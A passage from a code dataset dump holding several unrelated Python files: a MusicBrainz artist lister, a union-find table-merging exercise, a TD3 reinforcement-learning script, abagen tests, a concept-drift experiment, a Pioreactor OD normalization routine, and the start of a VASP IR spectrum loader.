includes=['url-rels'])[\"series\"]\r\n print(mb_data)\r\n data = {\r\n \"name\": mb_data[\"name\"],\r\n \"mbid\": mbid,\r\n \"sort-name\": mb_data[\"sort-name\"] if \"sort-name\" in mb_data else None,\r\n \"disambiguation\": mb_data[\"disambiguation\"] if \"disambiguation\" in mb_data else None,\r\n \"country\": mb_data[\"country\"] if \"country\" in mb_data else None\r\n }\r\n if \"url-relation-list\" in mb_data:\r\n data[\"webpage\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"official\" in url_rel[\"type\"]])\r\n data[\"facebook\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"facebook.com\" in url_rel[\"target\"]])\r\n data[\"discogs\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"discogs.com\" in url_rel[\"target\"]])\r\n data[\"itunes\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"itunes.com\" in url_rel[\"target\"]])\r\n data[\"soundcloud\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"soundcloud.com\" in url_rel[\"target\"]])\r\n data[\"spotify\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"spotify.com\" in url_rel[\"target\"]])\r\n data[\"idagio\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"idagio.com\" in url_rel[\"target\"]])\r\n data[\"deezer\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"deezer.com\" in url_rel[\"target\"]])\r\n data[\"bandcamp\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"bandcamp.com\" in url_rel[\"target\"]])\r\n data[\"youtube\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"youtube.com\" in url_rel[\"target\"]])\r\n data[\"wikipedia\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"wikipedia.org\" in url_rel[\"target\"]])\r\n data[\"wikidata\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"wikidata.org\" in url_rel[\"target\"]])\r\n data[\"bandsintown\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"bandsintown.com\" in url_rel[\"target\"]])\r\n data[\"songkick\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"songkick.com\" in url_rel[\"target\"]])\r\n data[\"setlist\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"setlist.fm\" in url_rel[\"target\"]])\r\n data[\"matrix\"] = \",\".join([url_rel[\"target\"] for url_rel in mb_data[\"url-relation-list\"] if \"matrix-new-music.be\" in url_rel[\"target\"]])\r\n records.append(data)\r\n\r\ndf = DataFrame.from_records(records)\r\ndf.to_excel(\"contemporary_music.xlsx\", columns=[\"mbid\", \"name\", \"sort-name\", \"disambiguation\", \"country\", \"webpage\", \"matrix\", \"facebook\", \"discogs\", \"itunes\", \"soundcloud\", \"spotify\", \"idagio\", \"deezer\", \"bandcamp\", \"youtube\", \"bandsintown\", \"songkick\", \"setlist\", \"wikipedia\", \"wikidata\"])\r\n","sub_path":"flat_musicbrainzlister.py","file_name":"flat_musicbrainzlister.py","file_ext":"py","file_size_in_byte":3999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"112318558","text":"# python3\r\n\r\nimport sys\r\n\r\ndef getParent(parent, i):\r\n \r\n j = parent[i]\r\n if i != j:\r\n j = getParent(parent, j)\r\n parent[i] = j\r\n\r\n return j\r\n\r\ndef merge(parent, destination, source, n_rows):\r\n realDestination, realSource = getParent(parent, destination), getParent(parent, source)\r\n\r\n if realDestination == realSource:\r\n return False\r\n\r\n # merge two components\r\n # use union by rank heuristic \r\n # update ans with the new maximum table size\r\n\r\n parent[source] = destination\r\n n_rows[source] += n_rows[destination]\r\n n_rows[destination] = 0\r\n\r\n return True\r\n\r\ndef calc(n, merge_queries, n_rows):\r\n parent = list(range(0, n))\r\n m = len(merge_queries)\r\n outp = []\r\n\r\n for i in range(m):\r\n [destination, source] = merge_queries[i]\r\n merge(parent, destination - 1, source - 1, n_rows)\r\n outp.append(max(n_rows))\r\n\r\n return outp\r\n\r\ndef compare(a, b):\r\n if len(a) == len(b):\r\n for i in range(len(a)):\r\n if a[i] != b[i]:\r\n return False\r\n return True\r\n else:\r\n return False \r\n\r\ndef test(n_tables, n_rows, merge_queries, exp_output):\r\n ans = calc(n_tables, merge_queries, n_rows)\r\n print(\"passed\" if compare(ans, exp_output) else \"failed\") \r\n\r\ndef unit_test():\r\n test(5, [1, 1, 1, 1, 1], [[3, 5], [2, 4], [1, 4], [5, 4], [5, 3]], [2, 2, 3, 5, 5])\r\n test(6, [10, 0, 5, 0, 3, 3], [[6, 6], [6, 5], [5, 4], [4, 3]], [10, 10, 10, 11])\r\n\r\ndef main():\r\n n, m = map(int, sys.stdin.readline().split())\r\n n_rows = list(map(int, sys.stdin.readline().split()))\r\n rank = [1] * n\r\n merge_queries = []\r\n for i in range(m):\r\n destination, source = map(int, sys.stdin.readline().split())\r\n merge_queries.append([destination, source])\r\n\r\n ans = calc(n, merge_queries, n_rows)\r\n \r\n for i in range(m):\r\n print(ans[i])\r\n\r\nif __name__ == '__main__':\r\n if len(sys.argv) > 1:\r\n unit_test()\r\n else:\r\n main() ","sub_path":"DataStructures/week2/merging_tables/merging_tables.py","file_name":"merging_tables.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"261815724","text":"#Count distinct elements in an array\n\ndef distinctele(arr,n):\t\n\ts=set()\n\tres=0\n\tfor i in range(n):\n\t\tif (arr[i] not in s):\n\t\t\t s.add(arr[i])\n\t\t\t res+=1\n\tprint(res)\n\t\n\ndef main():\n print(\"Enter Linked list elements: \")\n arr=[int(x) for x in input().strip().split()]\n n = len(arr)\n print(distinctele(arr,n))\nif __name__==\"__main__\":\n main()\t","sub_path":"Array/DistinctElementArray.py","file_name":"DistinctElementArray.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"247486333","text":"import gym\nimport gym_flp\nimport imageio\nimport datetime\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch as th\n\nfrom stable_baselines3 import TD3\nfrom stable_baselines3.common.env_util import make_vec_env\nfrom stable_baselines3.common.callbacks import EvalCallback, BaseCallback\nfrom stable_baselines3.common.vec_env import VecTransposeImage\nfrom stable_baselines3.common.evaluation import evaluate_policy\nfrom stable_baselines3.common.logger import Video\nfrom PIL import Image\nfrom typing import Any, Dict\n\n\nclass TensorboardCallback(BaseCallback):\n \"\"\"\n Custom callback for plotting additional values in tensorboard.\n \"\"\"\n\n def __init__(self, verbose=0):\n super(TensorboardCallback, self).__init__(verbose)\n\n def _on_step(self) -> bool:\n # Log scalar value (here a random variable)\n self.logger.dump(self.num_timesteps)\n self.logger.record(\"monitor/counter\", self.training_env.get_attr('counter')[0])\n self.logger.record(\"monitor/mhc\", self.training_env.venv.buf_infos[0]['mhc'])\n self.logger.record(\"monitor/collisions\", self.training_env.venv.buf_infos[0]['collisions'])\n return True\n\n\nclass VideoRecorderCallback(BaseCallback):\n def __init__(self, eval_env: gym.Env, render_freq: int, n_eval_episodes: int = 1, deterministic: bool = True):\n \"\"\"\n Records a video of an agent's trajectory traversing ``eval_env`` and logs it to TensorBoard\n\n :param eval_env: A gym environment from which the trajectory is recorded\n :param render_freq: Render the agent's trajectory every eval_freq call of the callback.\n :param n_eval_episodes: Number of episodes to render\n :param deterministic: Whether to use deterministic or stochastic policy\n \"\"\"\n super().__init__()\n self._eval_env = eval_env\n self._render_freq = render_freq\n self._n_eval_episodes = n_eval_episodes\n self._deterministic = deterministic\n\n def _on_step(self) -> bool:\n if self.n_calls % self._render_freq == 0:\n screens = []\n\n def grab_screens(_locals: Dict[str, Any], _globals: Dict[str, Any]) -> None:\n \"\"\"\n Renders the environment in its current state, recording the screen in the captured `screens` list\n\n :param _locals: A dictionary containing all local variables of the callback's scope\n :param _globals: A dictionary containing all global variables of the callback's scope\n \"\"\"\n screen = self._eval_env.render(mode=\"rgb_array\")\n # PyTorch uses CxHxW vs HxWxC gym (and tensorflow) image convention\n screens.append(screen.transpose(2, 0, 1))\n\n evaluate_policy(\n self.model,\n self._eval_env,\n callback=grab_screens,\n n_eval_episodes=self._n_eval_episodes,\n deterministic=self._deterministic,\n )\n screens_array = np.array(screens)\n self.logger.record(\n f\"trajectory/video\",\n Video(th.ByteTensor([screens_array]), fps=20),\n exclude=(\"stdout\", \"log\", \"json\", \"csv\"),\n )\n return True\n\n\ninstance = 'P6'\ntimestamp = datetime.datetime.now().strftime(\"%y%m%d_%H%M\")\nenvironment = 'ofp'\nalgo = 'td3'\nmode = 'rgb_array'\naspace = 'box'\nmulti = True\ntrain_steps = [2e6]\nvec_env = make_vec_env('ofp-v0',\n env_kwargs={'mode': mode, \"instance\": instance, \"aspace\": aspace, \"multi\": multi},\n n_envs=1)\nwrap_env = VecTransposeImage(vec_env)\nprint(wrap_env.action_space.sample())\nvec_eval_env = make_vec_env('ofp-v0',\n env_kwargs={'mode': mode, \"instance\": instance, \"aspace\": aspace, \"multi\": multi},\n n_envs=1)\nwrap_eval_env = VecTransposeImage(vec_eval_env)\n\nmul = \"multi\" if multi else \"single\"\n\nfor ts in train_steps:\n ts = int(ts)\n save_path = f\"{timestamp}_{instance}_{algo}_{environment}_{aspace}_{mul}_{ts}\"\n\n eval_callback = EvalCallback(wrap_eval_env,\n best_model_save_path=f'./models/best_model/{save_path}',\n log_path='./logs/',\n eval_freq=10000,\n deterministic=True,\n render=False,\n n_eval_episodes=10)\n\n model = TD3('CnnPolicy',\n wrap_env,\n learning_rate=0.0001,\n buffer_size=1000000,\n learning_starts=10000,\n batch_size=128,\n tau=0.005,\n gamma=0.99,\n train_freq=(10, 'episode'),\n gradient_steps=-1,\n action_noise=None,\n replay_buffer_class=None,\n replay_buffer_kwargs=None,\n optimize_memory_usage=False,\n policy_delay=2,\n target_policy_noise=0.2,\n target_noise_clip=0.5,\n policy_kwargs=None,\n verbose=2,\n seed=None,\n device='auto',\n _init_setup_model=True,\n tensorboard_log=f'logs/{save_path}')\n #model.learn(total_timesteps=ts, callback=eval_callback)\n #model.save(f\"./models/{save_path}\")\n\n model = TD3.load(r'C:\\Users\\HHB\\PycharmProjects\\gym-flp-dev\\algorithm\\models\\best_model\\221130_0726_P6_td3_ofp_box_multi_1000000\\best_model.zip')\n save_path = '221201_0654_P6_td3_ofp_box_multi_1000000'\n fig, (ax1, ax2) = plt.subplots(2, 1)\n\n obs = wrap_env.reset()\n start_cost = wrap_env.get_attr(\"last_cost\")[0]\n\n rewards = []\n mhc = []\n images = []\n gain = 0\n gains = []\n c = []\n actions = []\n done = False\n\n eval_steps = 1000\n while not done:\n # for _ in range(eval_steps):\n action, _states = model.predict(obs, deterministic=True)\n actions.append(action)\n obs, reward, done, info = wrap_env.step(action)\n img = Image.fromarray(wrap_env.render(mode='rgb_array'))\n rewards.append(reward[0])\n mhc.append(info[0]['mhc'])\n c.append(info[0]['collisions'])\n images.append(img)\n\n final_cost = mhc[-1]\n\n print(start_cost, final_cost)\n cost_saved = final_cost - start_cost\n cost_saved_rel = 1 - (start_cost / final_cost)\n ax1.plot(np.arange(1, len(rewards) + 1), rewards)\n ax2.plot(np.arange(1, len(rewards) + 1), mhc)\n imageio.mimsave(f'gifs/{save_path}_eval_env.gif',\n [np.array(img.resize((200, 200), Image.NEAREST))\n for i, img in enumerate(images) if i % 2 == 0], fps=10)\n wrap_env.close()\n\n del model\n\n fig.show()\n","sub_path":"algorithm/td3.py","file_name":"td3.py","file_ext":"py","file_size_in_byte":6786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"386166800","text":"from menu_item import MenuItem\n\nmenu_item1 = MenuItem('サンドイッチ', 500)\nmenu_item2 = MenuItem('チョコケーキ', 400)\nmenu_item3 = MenuItem('コーヒー', 300)\nmenu_item4 = MenuItem('オレンジジュース', 200)\n\nmenu_items = [menu_item1, menu_item2, menu_item3, menu_item4]\n\nindex = 0\n\nfor menu_item in menu_items:\n print(str(index) + '. ' + menu_item.info())\n index += 1\n\nprint('--------------------')\n\n# コンソールから入力を受け取り、変数orderに代入してください\norder = int(input('メニューの番号を入力してください: '))\n\n# 選択されたメニューを変数selected_menuに代入してください\nselected_menu = menu_items[order]\n\n# 「選択されたメニュー: 〇〇」と出力してください\nprint('選択されたメニュー: ' + selected_menu.name)\n","sub_path":"Python/progate/python_study_4/page16/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"383535935","text":"import itertools\nimport numpy as np\nimport pandas as pd\nimport pytest\nfrom abagen import allen, correct\nfrom abagen.datasets import fetch_desikan_killiany\n\nATLAS = fetch_desikan_killiany()\n\n\n@pytest.fixture(scope='module')\ndef donor_expression(testfiles):\n return allen.get_expression_data(testfiles, ATLAS.image, ATLAS.info,\n exact=False, return_donors=True)\n\n\ndef test_remove_distance(donor_expression):\n expr = pd.concat(donor_expression).groupby('label').aggregate(np.mean)\n coexpr = np.corrcoef(expr)\n for atlas_info in [None, ATLAS.info]:\n out = correct.remove_distance(coexpr, ATLAS.image, atlas_info)\n assert np.allclose(out, out.T)\n assert isinstance(out, np.ndarray)\n\n # subset expression data + and atlas_info\n coexpr = np.corrcoef(expr.iloc[:-1])\n removed_label = pd.read_csv(atlas_info).iloc[:-1]\n out = correct.remove_distance(coexpr, ATLAS.image, removed_label,\n labels=removed_label.id)\n assert np.allclose(out, out.T)\n assert isinstance(out, np.ndarray)\n assert len(out) == len(removed_label)\n\n with pytest.raises(ValueError):\n correct.remove_distance(np.corrcoef(expr), ATLAS.image, removed_label,\n labels=removed_label.id)\n\n with pytest.raises(ValueError):\n correct.remove_distance(expr, ATLAS.image, ATLAS.info)\n\n\ndef test_resid_dist():\n dv = np.array([1, 2, 3, 4, 5])\n # residualizing against self should yield 0\n assert np.allclose(correct._resid_dist(dv, iv=dv), 0)\n # residualizing against perfectly anticorrelated should also yield 0\n assert np.allclose(correct._resid_dist(dv, iv=dv[::-1]), 0)\n # residualizing against scaled self should also yield 0 (intercept incl)\n assert np.allclose(correct._resid_dist(dv, iv=(dv + 10)), 0)\n # residualizing against constant should yield de-meaned input\n assert np.allclose(correct._resid_dist(dv, iv=np.ones_like(dv)),\n dv - dv.mean())\n\n\ndef test_keep_stable_genes(donor_expression):\n for thr, per, rank in itertools.product(np.arange(0, 1, 0.1),\n [True, False],\n [True, False]):\n out = correct.keep_stable_genes(donor_expression, threshold=thr,\n percentile=per, rank=rank)\n assert all([isinstance(f, pd.DataFrame) for f in out])\n for df1, df2 in itertools.combinations(out, 2):\n assert df1.shape == df2.shape\n","sub_path":"abagen/tests/test_correct.py","file_name":"test_correct.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"113681640","text":"from warnings import simplefilter\n\n# ignore all future warnings\nsimplefilter(action='ignore', category=FutureWarning)\nsimplefilter(action='ignore', category=RuntimeWarning)\n\nfrom scipy.io import arff\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom skmultiflow.data import DataStream\nfrom scipy import stats\nfrom sklearn.preprocessing import StandardScaler\nfrom keras.layers import Input, Dense, Dropout\nfrom keras.models import Model\nfrom util import run_performance_experiment, plot_performance_comparison, print_evaluation, gridsearch_adwin_parameter, \\\n plot_drift_detection_summary, get_model\nfrom WrapperClasses_Classification import MCDropoutCLFWrapper\nfrom WrapperClasses_Regression import MCDropoutREGWrapper\nfrom Detection_Strategies import Adwin_Uncertainty, Uninformed, Equal_Distribution, KS_Data, No_Retraining, Adwin_Error\nimport pickle\n\ndata = pd.read_csv('../01_Artificial_DataSets/friedman_with_2_abrupt_drift.csv')\ndataset_name = 'friedman'\nprediction_type = 'regression'\nfeatures = data.shape[1] - 1\nstream_length = data.shape[0]\nif prediction_type == 'regression':\n targets = 1\nelse:\n targets = data.iloc[:, -1].nunique()\n\nprint(data.head())\n\nstream = DataStream(data)\n\none_percent = int(stream.n_remaining_samples() * 0.01)\ntwo_percent = int(stream.n_remaining_samples() * 0.02)\n\n# Define model\nmodel = get_model(features, targets)\n\nalgorithm = 'MCDropout'\n\nadwin_param = 0.0001\n\nmetrics_list = []\nerrors_dict = {}\ndrifts_dict = {}\nraw_dict = {}\n\n# Retraining after, here 0, Retraining as soon as drift is detected\nra = 0\nadwin_uncertainty = Adwin_Uncertainty()\ncd_strategy = adwin_uncertainty.name\nprint(adwin_uncertainty.name)\n\nmodel_init = MCDropoutREGWrapper(model, epochs=1000, debug=False)\nadwin_uncertainty.gridsearch_adwin_parameter(stream, model_init, 1, targets, features, starting_value=-2)\n\n#adwin_param = 1e-2 #1e-4\n#adwin_uncertainty.set_parameter(adwin_param)\n\nmetrics, raw_results, drift_points = run_performance_experiment(stream, dataset_name, model, adwin_uncertainty,\n prediction_type, targets,\n retrain=True, retrain_after=ra, refit_use_Xtrain=True,\n adwin_parameter=adwin_param, features=features)\n\nunc_series = pd.Series(raw_results['uncertainties']).rolling(window = 50).mean()\nplt.plot(unc_series)\nplt.show()\n\nplt.plot(unc_series[6000:10000])\nplt.show()\n\nd1 = raw_results['uncertainties'][2500:5000].mean()\nm1 = raw_results['uncertainties'][5000:7000].mean()\nm2 = raw_results['uncertainties'][7000:9000].mean()\nm3 = raw_results['uncertainties'][9000:11000].mean()\n\nprint('Before: ', m1)\nprint('During: ', m2)\nprint('After: ', m3)\n\nprint('Ratio: ', m2/m1)\nprint('Ratio Drift: ', d1/m1)\n\n\nkey = cd_strategy + '_' + str(ra)\nerrors_dict[key] = raw_results['errors']\ndrifts_dict[key] = drift_points\nraw_dict[key] = raw_results\nmetrics['Alg_run'] = key\nmetrics['Detection'] = cd_strategy\n\nmetrics_list.append(metrics)\ndf_metrics_prelim = pd.DataFrame(metrics_list)\n\nnumber_retrainings = metrics['retraining_counter']\n\n# number_retrainings = 3\n\n\n\n\n\n# ------------------\n#\n# Uninformed\n#\n# -----------------\n\n\nuninformed = Uninformed(number_retrainings)\n\nfor run in range(1,6):\n cd_strategy=uninformed.name\n print(cd_strategy)\n metrics, raw_results, drift_points = run_performance_experiment(stream, dataset_name, model, uninformed,\n prediction_type, targets,\n retrain=True, retrain_after=ra,\n refit_use_Xtrain=True, features=features)\n\n key = cd_strategy + '_' + str(run)\n errors_dict[key] = raw_results['errors']\n drifts_dict[key] = drift_points\n raw_dict[key] = raw_results\n metrics['Alg_run'] = key\n metrics['Detection'] = cd_strategy\n\n metrics_list.append(metrics)\n\n\n\n\n# ------------------\n#\n# No Retraining + Equal distribution + ADWIN Error\n#\n# -----------------\n\n\nno_retraining = No_Retraining()\nequal_distribution= Equal_Distribution(number_retrainings)\nadwin_error = Adwin_Error()\nadwin_error.gridsearch_adwin_parameter(stream, model_init, 1, targets, features, starting_value=-2)\n\ndetection = {'no_retraining': no_retraining,\n 'equal_distribution': equal_distribution,\n 'adwin_error': adwin_error}\n\nfor cd_strategy in detection.keys():\n\n strategy = detection[cd_strategy]\n print(cd_strategy)\n\n metrics, raw_results, drift_points = run_performance_experiment(stream, dataset_name, model, strategy,\n prediction_type, targets,\n retrain=True, retrain_after=ra,\n refit_use_Xtrain=True, features=features)\n\n key = cd_strategy\n errors_dict[key] = raw_results['errors']\n drifts_dict[key] = drift_points\n raw_dict[key] = raw_results\n metrics['Alg_run'] = key\n metrics['Detection'] = cd_strategy\n\n metrics_list.append(metrics)\n\n\n\n# ------------------\n#\n# KS Data\n#\n# -----------------\n\nks_data = KS_Data(number_retrainings)\n\nprint(ks_data.name)\ncd_strategy = ks_data.name\n\n#kswin_alpha = ks_data.gridsearch_kswin_parameter(stream, model_init, 3, targets, features, starting_value=-2)\nkswin_alpha = 8.9e-07\nks_data.set_parameter(alpha = kswin_alpha)\nmetrics, raw_results, drift_points = run_performance_experiment(stream, dataset_name, model, ks_data,\n prediction_type, targets,\n retrain=True, retrain_after=ra,\n refit_use_Xtrain=True, features=features)\n\nkey = cd_strategy\n# errors_dict[key] = raw_results['errors']\nerrors_dict[key] = {}\ndrifts_dict[key] = drift_points\nraw_dict[key] = raw_results\nmetrics['Alg_run'] = key\nmetrics['Detection'] = cd_strategy\n\nmetrics_list.append(metrics)\n\n\n\n# ------------------\n#\n# KS Data, no limitation\n#\n# -----------------\n\nks_data = KS_Data(number_retrainings, limit_drifts=False)\n\nprint(ks_data.name)\ncd_strategy = ks_data.name\n\nks_data.set_parameter(alpha = kswin_alpha)\nmetrics, raw_results, drift_points = run_performance_experiment(stream, dataset_name, model, ks_data,\n prediction_type, targets,\n retrain=True, retrain_after=ra,\n refit_use_Xtrain=True, features=features)\n\nkey = cd_strategy + '_unlimited'\n# errors_dict[key] = raw_results['errors']\nerrors_dict[key] = {}\ndrifts_dict[key] = drift_points\nraw_dict[key] = raw_results\nmetrics['Alg_run'] = key\nmetrics['Detection'] = cd_strategy + '_unlimited'\n\nmetrics_list.append(metrics)\n\n\n\n\n# ------------------\n#\n# Print final results\n#\n# -----------------\n\n\ndf_metrics = pd.DataFrame(metrics_list)\n\nresults_dict = {'metrics': df_metrics, 'errors': errors_dict, 'drifts': drifts_dict, 'raw': raw_dict}\n\n#plot_performance_comparison(df_metrics)\n\n#Save data\nfilename = 'results_' + algorithm + '_' + dataset_name +'.pickle'\npickle.dump(results_dict, open(filename, 'wb'), protocol=4)\n\nprint_evaluation(results_dict)\n\n\n\n\n\n\n\n#\n# # # KSWIN, No Retraining, ADWIN Error\n# no_retraining = No_Retraining()\n# # ks_data = KS_Data(limit_drifts=False, detection_only=False, window_size=500, stat_size=200, retrain_after=50,\n# # number_retrainings = number_retrainings) #500, 200, 100\n# adwin_error = Adwin_Error()\n#\n# detection = {'no_retraining': no_retraining,\n# 'ks_data': ks_data,\n# 'adwin_error': adwin_error}\n#\n# for cd_strategy in ['ks_data']: # , 'adwin_error']:\n#\n# strategy = detection[cd_strategy]\n# print(cd_strategy)\n#\n# kswin_param = strategy.gridsearch_kswin_parameter(stream, model_init, 1, targets, features)\n#\n# metrics, raw_results, drift_points = run_performance_experiment(stream, dataset_name, model, strategy,\n# prediction_type, targets,\n# retrain=True, retrain_after=ra,\n# refit_use_Xtrain=True,\n# adwin_retrainings=number_retrainings,\n# adwin_parameter=adwin_param, features=features)\n#\n# key = cd_strategy\n# # errors_dict[key] = raw_results['errors']\n# errors_dict[key] = {}\n# drifts_dict[key] = drift_points\n# raw_dict[key] = raw_results\n# metrics['Alg_run'] = key\n# metrics['Detection'] = cd_strategy\n#\n# metrics_list.append(metrics)\n#\n# for cd_strategy in ['adwin_error']:\n# strategy = detection[cd_strategy]\n# print(cd_strategy)\n#\n# strategy.gridsearch_adwin_parameter(stream, model_init, 1, targets, features)\n# # adwin_param = 1e-11\n#\n# metrics, raw_results, drift_points = run_performance_experiment(stream, dataset_name, model, strategy,\n# prediction_type, targets,\n# retrain=True, retrain_after=ra,\n# refit_use_Xtrain=True,\n# adwin_retrainings=number_retrainings,\n# adwin_parameter=adwin_param, features=features)\n#\n# key = cd_strategy\n# # errors_dict[key] = raw_results['errors']\n# errors_dict[key] = {}\n# drifts_dict[key] = drift_points\n# raw_dict[key] = raw_results\n# metrics['Alg_run'] = key\n# metrics['Detection'] = cd_strategy\n#\n# metrics_list.append(metrics)\n#\n# df_metrics = pd.DataFrame(metrics_list)\n#\n# results_dict = {'metrics': df_metrics, 'errors': errors_dict, 'drifts': drifts_dict, 'raw': raw_dict}\n# filename = 'results_' + algorithm + '_' + dataset_name + '.pickle'\n# pickle.dump(results_dict, open(filename, 'wb'), protocol=4)\n","sub_path":"Syn_Experiment_Friedman_Abrupt/Friedman_Performance_Evaluation.py","file_name":"Friedman_Performance_Evaluation.py","file_ext":"py","file_size_in_byte":10519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"255438793","text":"# -*- coding: utf-8 -*-\nimport time\nimport json\nfrom collections import defaultdict\nfrom statistics import median, variance\nimport logging\n\nimport click\n\nfrom pioreactor.config import config\nfrom pioreactor.utils import pio_jobs_running\nfrom pioreactor.whoami import get_unit_name, get_latest_experiment_name\nfrom pioreactor import pubsub\n\nlogger = logging.getLogger(\"od_normalization\")\n\n\ndef od_normalization(od_angle_channel=None, unit=None, experiment=None, N_samples=35):\n\n logger.info(\"Starting OD normalization\")\n\n if \"stirring\" not in pio_jobs_running():\n logger.error(\"stirring jobs should be running. Run `mb stirring -b` first.\")\n raise ValueError(\"stirring jobs should be running. Run `mb stirring -b` first. \")\n\n if \"od_reading\" not in pio_jobs_running():\n from pioreactor.background_jobs.od_reading import od_reading\n\n # we sample faster, because we can...\n # TODO: write tests for this\n assert od_angle_channel is not None, \"od_angle_channel is not set\"\n sampling_rate = 0.5\n signal = od_reading(od_angle_channel, sampling_rate)\n else:\n # TODO: write tests for this\n def yield_from_mqtt():\n while True:\n msg = pubsub.subscribe(f\"pioreactor/{unit}/{experiment}/od_raw_batched\")\n yield json.loads(msg.payload)\n\n signal = yield_from_mqtt()\n\n time.sleep(0.5)\n readings = defaultdict(list)\n\n try:\n\n for count, batched_reading in enumerate(signal):\n for (sensor, reading) in batched_reading.items():\n readings[sensor].append(reading)\n\n if count == N_samples:\n break\n\n variances = {}\n medians = {}\n for sensor, reading_series in readings.items():\n # measure the variance and publish. The variance will be used in downstream jobs.\n var = variance(reading_series)\n variances[sensor] = var\n # measure the median and publish. The median will be used to normalize the readings in downstream jobs\n med = median(reading_series)\n medians[sensor] = med\n\n pubsub.publish(\n f\"pioreactor/{unit}/{experiment}/od_normalization/variance\",\n json.dumps(variances),\n qos=pubsub.QOS.AT_LEAST_ONCE,\n retain=True,\n )\n pubsub.publish(\n f\"pioreactor/{unit}/{experiment}/od_normalization/median\",\n json.dumps(medians),\n qos=pubsub.QOS.AT_LEAST_ONCE,\n retain=True,\n )\n\n logger.info(\"OD normalization finished\")\n\n return\n except Exception as e:\n logger.error(f\"{str(e)}\")\n raise e\n\n\n@click.command(name=\"od_normalization\")\n@click.option(\n \"--od-angle-channel\",\n multiple=True,\n default=list(config[\"od_config.photodiode_channel\"].values()),\n type=click.STRING,\n help=\"\"\"\npair of angle,channel for optical density reading. Can be invoked multiple times. Ex:\n\n--od-angle-channel 135,0 --od-angle-channel 90,1 --od-angle-channel 45,2\n\n\"\"\",\n)\ndef click_od_normalization(od_angle_channel):\n \"\"\"\n Compute statistics about the OD timeseries\n \"\"\"\n unit = get_unit_name()\n experiment = get_latest_experiment_name()\n od_normalization(od_angle_channel, unit, experiment)\n","sub_path":"pioreactor/actions/od_normalization.py","file_name":"od_normalization.py","file_ext":"py","file_size_in_byte":3306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"474580914","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 25 11:46:31 2017\n\n@author: lansford\n\"\"\"\n\nfrom __future__ import division\nfrom timeit import default_timer as timer\nimport matplotlib.pyplot as plt\nimport os\nimport numpy as np\nimport pickle\nfrom scipy.signal import argrelmax\nfrom scipy.ndimage.filters import gaussian_filter1d\nfrom scipy.stats import linregress\n\"\"\"loading Spectrum files\"\"\"\npickleLoc = os.path.expanduser('~/Documents/VASP/Testing IR/Vibration_Lists/MultipleCO.pkl')\ninfile = open(pickleLoc,'rb')\nMultipleCO = pickle.load(infile) #encoding = 'latin1' if python3\ninfile.close()\n\npickleLoc = os.path.expanduser('~/Documents/VASP/Testing IR/Vibration_Lists/Extended_Surfaces.pkl')\ninfile = open(pickleLoc,'rb')\nExtended_Surfaces = pickle.load(infile) #encoding = 'latin1' if python3\ninfile.close()\n\npickleLoc = os.path.expanduser('~/Documents/VASP/Testing IR/Vibration_Lists/SingleCO.pkl')\ninfile = open(pickleLoc,'rb')\nSingleCO = pickle.load(infile) #encoding = 'latin1' if python3\ninfile.close()\n\nSingleCO += Extended_Surfaces\nCNCO_Single = np.zeros(len(SingleCO),dtype='int')\nGCN_Single = np.zeros(len(SingleCO))\nCNPt_Single = np.zeros(len(SingleCO),dtype='int')\nNumPt_Single = np.zeros(len(SingleCO),dtype='int')\nFREQUENCY = SingleCO[0][0].spectrum[0]\nINTENSITIES_Single = np.zeros((len(SingleCO),len(FREQUENCY)))\nfor counter, i in enumerate(SingleCO):\n if i[0].CNCO ==5 or i[0].CNCO == 0:\n i[0].CNCO=4\n CNCO_Single[counter] = i[0].CNCO\n GCN_Single[counter] = i[0].GCN\n CNPt_Single[counter] = i[0].CNPt\n NumPt_Single[counter] = i[0].NumPt\n INTENSITIES_Single[counter] = i[0].spectrum[1]\n\nCNCO_Multi = []\nGCN_Multi = []\nCNPt_Multi = []\nNumPt_Multi = np.zeros(len(MultipleCO),dtype='int')\nNUMBULK_Multi = np.zeros(len(MultipleCO),dtype='int')\nNUMCO_Multi = np.zeros(len(MultipleCO),dtype='int')\nCOV_Multi = np.zeros(len(MultipleCO))\nINTENSITIES_Multi = np.zeros((len(MultipleCO),len(FREQUENCY)))\nfor counter, i in enumerate(MultipleCO):\n if i[0].CNCO ==5 or i[0].CNCO == 0:\n 